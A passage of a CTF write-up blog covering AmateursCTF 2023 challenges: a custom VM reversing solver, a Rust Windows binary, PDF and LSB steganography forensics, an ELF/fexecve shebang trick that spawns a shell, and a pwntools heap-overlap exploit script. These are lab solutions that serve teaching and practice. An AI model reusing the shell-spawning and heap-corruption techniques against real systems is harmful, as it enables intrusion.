                    System.out.print("  Result : ");
                    buf[b5] = buf[b5] - program[pc + 2];
                    System.out.println(buf[b5]);
                    pc += 3;
                    break;
                case 13:
                    byte b6 = program[pc + 1];
                    System.out.print("======> 0xd b6 :");
                    System.out.print(b6);
                    System.out.print("  buf[b6] = ");
                    System.out.print(buf[b6]);
                    System.out.print(" - ");
                    System.out.print(buf[program[pc + 2]]);
                    buf[b6] = buf[b6] - buf[program[pc + 2]];
                    System.out.print("  Result : ");
                    System.out.println(buf[b6]);
                    pc += 3;
                    break;
                case 16:

                    byte b7 = program[pc + 1];
                    buf[b7] = buf[b7] * program[pc + 2];
                    pc += 3;
                    break;
                case 17:

                    byte b8 = program[pc + 1];
                    buf[b8] = buf[b8] * buf[program[pc + 2]];
                    pc += 3;
                    break;
                case 20:

                    byte b9 = program[pc + 1];
                    buf[b9] = buf[b9] / program[pc + 2];
                    pc += 3;
                    break;
                case 21:

                    byte b10 = program[pc + 1];
                    buf[b10] = buf[b10] / buf[program[pc + 2]];
                    pc += 3;
                    break;
                case 24:

                    byte b11 = program[pc + 1];
                    buf[b11] = buf[b11] % program[pc + 2];
                    pc += 3;
                    break;
                case 25:
                    byte b12 = program[pc + 1];
                    buf[b12] = buf[b12] % buf[program[pc + 2]];
                    pc += 3;
                    break;
                case 28:

                    byte b13 = program[pc + 1];
                    buf[b13] = buf[b13] << program[pc + 2];
                    pc += 3;
                    break;
                case 29:

                    byte b14 = program[pc + 1];
                    buf[b14] = buf[b14] << buf[program[pc + 2]];
                    pc += 3;
                    break;
                case 31:

                    buf[program[pc + 1]] = bufferedReader.read();
                    pc += 2;
                    break;
                case 32:
                    // input-3 Read byte
                    int i4 = sp;
                    sp++;
                    stack[i4] = bufferedReader.read();
                    // System.out.println(stack[i4]);
                    System.out.print("======> Read at : ");
                    System.out.println(i4);
                    pc++;
                    break;
                case 33:
                    // System.out.print((char) buf[program[pc + 1]]);
                    pc += 2;
                    break;

                case 34:
                    // POP; Print
                    sp--;
                    // System.out.print((char) stack[sp]);
                    pc++;
                    break;
                case 41:

                    byte b15 = program[pc + 1];
                    byte b16 = program[pc + 2];
                    if (buf[b15] == 0) {
                        pc = b16;
                        break;
                    } else {
                        pc += 3;
                        break;
                    }
                case 42:
                    // input-2
                    // check-4
                    System.out.print("======> 0x2a Check buf : ");
                    byte b17 = program[pc + 1]; // 0x0
                    byte b18 = program[pc + 2]; // 0x12
                    System.out.print(b17);
                    System.out.print(" Is buf[b17] == 0 : ");
                    System.out.println(buf[b17]);
                    if (buf[b17] != 0) {
                        pc = b18; // pc を 0x12 に変更
                        break;
                    } else {
                        // No more word
                        pc += 3;
                        break;
                    }
                case 43:
                    // check-1
                    pc = program[pc + 1]; // 0x2c
                    break;
                case 52:

                    int i5 = sp;
                    sp++;
                    stack[i5] = buf[program[pc + 1]];
                    pc += 2;
                    break;

                case 53:
                    // check-2
                    sp--;
                    buf[program[pc + 1]] = stack[sp]; // program[pc + 1] = 0x0 
                    System.out.println("===========================================");
                    System.out.print("======> 0x53 Buf :");
                    System.out.print(pc + 1);
                    System.out.print("  into : ");
                    System.out.println(stack[sp]);
                    pc += 2;
                    break;
                case 54:

                    int i6 = sp;
                    sp++;
                    stack[i6] = program[pc + 1];
                    pc += 2;
                    break;
                case Byte.MAX_VALUE:
                    bufferedReader.close();
                    return;
                default:

                    byte b19 = program[pc];
                    byte b20 = program[pc + 1];
                    byte b21 = program[pc + 2];
                    program[pc] = (byte) ((program[pc] ^ b20) ^ b21);
                    program[pc + 1] = (byte) ((program[pc] ^ b19) ^ b21);
                    program[pc + 2] = (byte) ((program[pc + 1] ^ b19) ^ b20);
                    break;
            }
        }
    }
}

Analyzing the result showed that the input values are validated through the 53 -> 12 or 42 operations.

image-20230717201625074

So based on the values I got from print debugging, I created the following solver and recovered the flag.

with open("code.jvm", "rb") as f:
    code = f.read()

flag = ""
for i in range(0x34,len(code)):
    if code[i] == 53:
        if code[i+2] == 12 and code[i+5] == 12:
            a = code[i+4]
            b = code[i+7]
            flag += chr(a+b)
        elif code[i+2] == 12 and code[i+5] == 42:
            flag += "_"
        # elif code[i+2] == 8:

        else:
            print(i)
            # print(code[i+4],code[i+7])

print(flag[::-1])
amateursCTF{wh4t_d0_yoU_m34n_j4v4_isnt_A_vm?}

rusteze 2(Rev)

My boss said Linux binaries wouldn’t reach enough customers so I was forced to make a Windows version.

Flag is amateursCTF{[a-zA-Z0-9_]+}

This was another Rust binary challenge, but this time it was an EXE analysis problem.

Tracing execution from the entry point shows that byte data laid out starting at 0x2c40 in the .data section is loaded as a function and then called.

So I marked the consecutive region starting at 0x2c40 in the data section as a function and then decompiled it.

I was able to recover a function like the following.

void FUN_140002c40(void)

{
  byte bVar1;
  longlong lVar2;
  undefined8 uVar3;
  longlong lVar4;
  undefined8 *puVar5;
  LPVOID *ppvVar6;
  undefined **ppuVar7;
  undefined **ppuVar8;
  undefined8 local_188 [6];
  LPCRITICAL_SECTION local_158;
  LPVOID local_150 [3];
  undefined4 uStack_138;
  undefined4 uStack_134;
  undefined4 uStack_130;
  undefined4 uStack_12c;
  PSRWLOCK pRStack_128;
  undefined8 auStack_120 [6];
  undefined8 auStack_f0 [3];
  undefined uStack_d3;
  undefined uStack_d2;
  undefined uStack_d1;
  undefined uStack_d0;
  undefined uStack_cf;
  undefined uStack_ce;
  undefined uStack_cd;
  undefined uStack_cc;
  undefined uStack_cb;
  undefined uStack_ca;
  undefined uStack_c9;
  undefined uStack_c8;
  undefined uStack_c7;
  undefined uStack_c6;
  undefined uStack_c5;
  undefined uStack_c4;
  undefined uStack_c3;
  undefined uStack_c2;
  undefined uStack_c1;
  undefined uStack_c0;
  undefined uStack_bf;
  undefined uStack_be;
  undefined uStack_bd;
  undefined uStack_bc;
  undefined uStack_bb;
  undefined uStack_ba;
  undefined uStack_b9;
  undefined uStack_b8;
  undefined uStack_b7;
  undefined uStack_b6;
  undefined uStack_b5;
  undefined uStack_b4;
  undefined uStack_b3;
  undefined uStack_b2;
  undefined uStack_b1;
  undefined8 auStack_b0 [6];
  undefined8 auStack_80 [6];
  undefined8 uStack_50;
  undefined8 uStack_48;
  longlong lStack_40;
  LPVOID *ppvStack_38;
  longlong lStack_30;
  LPVOID *ppvStack_28;
  longlong lStack_20;
  LPVOID *ppvStack_18;
  undefined8 local_10;
  
  local_10 = 0xfffffffffffffffe;
  ppuVar7 = &PTR_DAT_140025698;
  puVar5 = local_188;
  FUN_140001d60(puVar5,&PTR_DAT_140025698,1,&PTR_s_src\main.rs_1400256a8,0);
  FUN_140009ef0((undefined4 *)puVar5,ppuVar7);
  local_158 = (LPCRITICAL_SECTION)FUN_140009a50(puVar5,ppuVar7);
  ppuVar7 = FUN_140009ac0(&local_158);
  ppuVar8 = &PTR_s_src\main.rs_1400256a8;
  FUN_1400052e0((longlong)ppuVar7,&PTR_s_src\main.rs_1400256a8);
  ppvVar6 = local_150;
  FUN_1400030e0(ppvVar6);
  pRStack_128 = (PSRWLOCK)FUN_140009830(ppvVar6,ppuVar8);
  ppvVar6 = local_150;
  lVar2 = FUN_140009860(&pRStack_128,ppvVar6);
  uStack_50._0_4_ = (undefined4)lVar2;
  uStack_50._4_4_ = (undefined4)((ulonglong)lVar2 >> 0x20);
  uStack_48._0_4_ = SUB84(ppvVar6,0);
  uStack_48._4_4_ = (undefined4)((ulonglong)ppvVar6 >> 0x20);
  uStack_138 = (undefined4)uStack_50;
  uStack_134 = uStack_50._4_4_;
  uStack_130 = (undefined4)uStack_48;
  uStack_12c = uStack_48._4_4_;
  uStack_50 = lVar2;
  uStack_48 = ppvVar6;
  FUN_140005370(lVar2,ppvVar6,&PTR_s_src\main.rs_1400256c0);
  uVar3 = FUN_140003130();
  lVar2 = FUN_140004d90(uVar3,ppvVar6);
  lStack_40 = lVar2;
  ppvStack_38 = ppvVar6;
  lStack_30 = lVar2;
  ppvStack_28 = ppvVar6;
  lStack_20 = lVar2;
  ppvStack_18 = ppvVar6;
  lVar4 = FUN_140006490(lVar2,ppvVar6);
  if (lVar4 == 0x23) {
    FUN_1400029c0(auStack_f0,lVar2,(ulonglong)ppvVar6);
    uStack_d3 = 0x86;
    uStack_d2 = 0x2b;
    uStack_d1 = 0x12;
    uStack_d0 = 0xf;
    uStack_cf = 0x99;
    uStack_ce = 0xcc;
    uStack_cd = 0x1d;
    uStack_cc = 0x55;
    uStack_cb = 0xb7;
    uStack_ca = 0x39;
    uStack_c9 = 0xc5;
    uStack_c8 = 0xbe;
    uStack_c7 = 0xf3;
    uStack_c6 = 0xab;
    uStack_c5 = 0x5d;
    uStack_c4 = 0x90;
    uStack_c3 = 0x5f;
    uStack_c2 = 0x5f;
    uStack_c1 = 0x4c;
    uStack_c0 = 0xaf;
    uStack_bf = 0xb6;
    uStack_be = 0x2b;
    uStack_bd = 0xf1;
    uStack_bc = 0x6c;
    uStack_bb = 0xed;
    uStack_ba = 0xbe;
    uStack_b9 = 0x76;
    uStack_b8 = 0x14;
    uStack_b7 = 0x9b;
    uStack_b6 = 0x88;
    uStack_b5 = 0x88;
    uStack_b4 = 0x20;
    uStack_b3 = 0xa3;
    uStack_b2 = 0xa0;
    uStack_b1 = 4;
    bVar1 = FUN_140004210();
    if ((bVar1 & 1) == 0) {
      ppuVar7 = &PTR_s_Correct!_140025700;
      FUN_140001d60(auStack_80,&PTR_s_Correct!_140025700,1,&PTR_s_src\main.rs_1400256a8,0);
      FUN_140009ef0((undefined4 *)auStack_80,ppuVar7);
      FUN_140006fe0((longlong)auStack_f0);
      FUN_140006f80((longlong)local_150);
      return;
    }
    ppuVar7 = &PTR_s_Wrong!_1400256e0;
    FUN_140001d60(auStack_b0,&PTR_s_Wrong!_1400256e0,1,&PTR_s_src\main.rs_1400256a8,0);
    FUN_140009ef0((undefined4 *)auStack_b0,ppuVar7);
    FUN_140006fe0((longlong)auStack_f0);
  }
  else {
    ppuVar7 = &PTR_s_Wrong!_1400256e0;
    FUN_140001d60(auStack_120,&PTR_s_Wrong!_1400256e0,1,&PTR_s_src\main.rs_1400256a8,0);
    FUN_140009ef0((undefined4 *)auStack_120,ppuVar7);
  }
  FUN_140006f80((longlong)local_150);
  return;
}

Here, the program accepts an input of length 0x23, processes it in the function at offset 0x29c0, and finally stores the result in a memory region called BUF1.

A later function then compares BUF1 with a hard-coded BUF2 using memcmp, and returns "Correct" if they match.

By combining Ghidra and WinDbg during analysis, I found that this input transformation can be expressed as follows.

for k in key:
    f = (ord("a")^k)
    f = (f << 2 | f >> 6) & 0xFF
    print(hex(f))

So using the hard-coded byte sequence in BUF2, I brute-forced the correct input string.

key = [i for i in range(35)]
key[0] = 0xd2
key[1] = 0xa5
key[2] = 0xf6
key[3] = 0xb1
key[4] = 0x1f
key[5] = 0x6c
key[6] = 0x33
key[7] = 0x3d
key[8] = 0x84
key[9] = 0x3d
key[10] = 0x2e
key[11] = 0xc6
key[12] = 0x8f
key[13] = 0x84
key[14] = 0x23
key[15] = 0x7b
key[16] = 0xa3
key[17] = 0xbf
key[18] = 0x76
key[19] = 0xb4
key[20] = 0xcb
key[21] = 0xa6
key[22] = 0x1d
key[23] = 0x7c
key[24] = 0x24
key[25] = 0xdb
key[26] = 0xf5
key[27] = 0x6c
key[28] = 0x95
key[29] = 0x7d
key[30] = 0x56
key[31] = 0x61
key[32] = 0x85
key[33] = 0x4d
key[34] = 0x2f
ans = [0x86,0x2b,0x12,0xf,0x99,0xcc,0x1d,0x55,0xb7,0x39,0xc5,0xbe,0xf3,0xab,0x5d,0x90,0x5f,0x5f,0x4c,0xaf,0xb6,0x2b,0xf1,0x6c,0xed,0xbe,0x76,0x14,0x9b,0x88,0x88,0x20,0xa3,0xa0,0x4]

for i in range(0x23):
    for c in range(0x21,0x7e):
        f = (c^key[i])
        f = (f << 2 | f >> 6) & 0xFF
        if f == ans[i]:
            print(chr(c), end="")
            break

However, while this string produced the Correct output, it still was not the flag.

img

In fact, during the processing of BUF1, values were also being written to a particular data region at the same time.

So I inspected that data region in WinDbg while entering the correct string, and that let me recover the flag.

image-20230719193236476

Painfully Deep Flag(Forensic)

This one is a bit deep in the stack.

A standard challenge.

I was given a suspicious PDF, and when I broke it apart with pdftohtml, I was able to recover the flag.

pdftohtml flag.pdf

image-20230718003722652

rules-iceberg(Forensic)

So apparently larry leaked this challenge already. Due to high demand for rules-iceberg stego and server profile picture discord stego, I’ve decided to release the challenge anyways.

We are given the image with the embedded string, the original image, and the following script that was used to embed the text.

from PIL import Image

def encode_lsb(image_path, message):
    # Open the image
    image = Image.open(image_path)
    pixels = image.load()

    # Check if the message can fit within the image
    if len(message) * 8 > image.width * image.height:
        raise ValueError("Message is too long to fit within the image.")

    # Convert the message to binary
    binary_message = ''.join(format(ord(char), '08b') for char in message)

    # Embed the message into the image
    char_index = 0
    for y in range(image.height):
        for x in range(image.width):
            r, g, b, a = pixels[x, y]

            if char_index < len(binary_message):
                # Modify the second least significant bit of the red channel
                # only if red is greater than green and blue
                if r > g and r > b:
                    r = (r & 0xFD) | (int(binary_message[char_index]) << 1)
                    char_index += 1

            pixels[x, y] = (r, g, b, a)

    # Save the modified image
    encoded_image_path = f"new-{image_path}"
    image.save(encoded_image_path)
    print("Message encoded successfully in the image:", encoded_image_path)


# Example usage
# image_path = "rules-iceberg.png"
image_path = "tmp.png"

# extract flag from flag.txt
with open("flag.txt", "r") as f:
    flag = f.read().strip()

# assert len(flag) == 54

encode_lsb(image_path, flag)

This was an application of LSB steganography: a script that embeds the flag bits into the second least significant bit of r for pixels where the r value is larger than both g and b.

In the image after embedding, the r values themselves have changed, so you can no longer tell which pixels had bits embedded just by looking at that image alone. That makes the original image the key.

So by comparing the original image’s pixel data and extracting bits from the post-embedding image, I was able to recover the flag.

from PIL import Image

# Example usage
image_path = "new-rules-iceberg.png"
image = Image.open(image_path)
new_pixels = image.load()

image_path = "rules-iceberg.png"
image = Image.open(image_path)
pixels = image.load()
binary_message = ""
for y in range(image.height):
    for x in range(image.width):
        r, g, b, a = new_pixels[x, y]
        rd, gd, bd, ad = pixels[x, y]

        if rd > gd and rd > bd:
            binary_message += str(((r >> 1) & 0x1))

text_message = ""
for i in range(0, len(binary_message), 8):
    char = chr(int(binary_message[i:i+8], 2))
    text_message += char

print(text_message)
# amateursCTF{3v3ry0n3_d3f1n1t3ly_l0v3s_st3g0_mhmhmhmhm}

ELFcrafting-v1(Pwn)

How well do you understand the ELF file format?

Looking at the challenge binary, it obtains a file descriptor for an anonymous file (one that lives in RAM and can be treated like a regular file) created by memfd_create, writes 32 bytes of arbitrary data into it, and then executes it with fexecve.

This seems to be imitating fileless malware on Linux.

Reference: Countermeasures against Fileless Malware on Linux

However, unlike a real sample, the amount of data you can write into the anonymous file in this challenge is limited to 32 bytes.

That means it is physically impossible to write a full ELF file, so you cannot execute one via fexecve.

However, fexecve can execute not only ELF files, but also shebang-based shell commands.

I verified this locally by creating the following sample.

#define _GNU_SOURCE
#define _POSIX_C_SOURCE 200809L

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>

#include <unistd.h>

#include <err.h>
#include <errno.h>

size_t min(size_t x, size_t y)
{
    return x > y ? y : x;
}

/**
 * @param len != 0
 */
void fdput(int fd, const char *str, size_t len)
{
    size_t cnt = 0;
    do {
        ssize_t result = write(fd, str + cnt, min(len - cnt, 0x7ffff000));
        if (result == -1) {
            if (errno == EINTR)
                continue;
            err(1, "%s failed", "write");
        }
        cnt += result;
    } while (cnt != len);
}
#define fdputc(fd, constant_str) fdput((fd), (constant_str), sizeof(constant_str) - 1)

int main(int argc, char* argv[])
{
    int fd = memfd_create("script", 0);
    if (fd == -1)
        err(1, "%s failed", "memfd_create");

    fdputc(fd, "#!/bin/sh\n/bin/sh");

    pid_t pid = fork();
    if (pid == 0) {
        const char * const argv[] = {"script", NULL};
        const char * const envp[] = {NULL};
        fexecve(fd, (char * const *) argv, (char * const *) envp);

        err(1, "%s failed", "fexecve");
    } else if (pid == -1)
        err(1, "%s failed", "fork");

    wait(NULL);

    return 0;
}

I thought that would be enough, but for some reason /bin/sh did not work on the remote server.

So instead, I sent the following command and got the flag.

"#!/bin/cat flag.txt"

image-20230721053732664

simple-heap-v1(Pwn)

Nothing to see here. Just a regular heap chall.

nc amt.rs 31176

Note: flag format is not the normal one

With help from a teammate, I solved one Pwn challenge.

You can arbitrarily overwrite only a single byte starting from a specific chunk.

The chunk where the flag is written gets freed immediately, and part of the flag is overwritten by the chunk header, so the challenge is to somehow read the contents of the flag-containing chunk before it is freed.

While looking through the decompilation, I noticed that the chunk where the flag is written is adjacent to a chunk that I can control, and that it is also reused from the cache again and again.

So by changing the size of the controllable chunk and making it overlap with the chunk where the flag gets written, I was able to read the contents of the flag chunk from the data of another chunk.

from pwn import *
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
b *(main+275)
continue
'''.format(**locals())

exe = "./chal_simple_heap_v1"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

def malloc(io,size,data):
    io.sendlineafter(b"size",size)
    io.sendlineafter(b"data",data)

io = start()

# malloc(io,b"128",b"a"*128)
# malloc(io,b"128",b"a"*128)

malloc(io,b"10",b"a"*10)
malloc(io,b"10",b"a"*10)

io.sendlineafter(b"index",b"-8")
io.sendlineafter(b"new character: ",b"\xF0")

malloc(io,b"230",b"a"*230)

io.interactive()

The solver above recovers the flag.

ScreenshotGuesser(OSINT)

A challenge where you identify coordinates from an SSID name.

One of our team members solved this one.

Apparently there is a service called WiGLE: Wireless Network Mapping that lets you search for SSIDs.

Reference: Amateurs CTF 2023 Writeup - rikoteki’s blog

Conclusion

I completely burned through the three-day weekend and spent five full days immersed in CTF.

It was fun.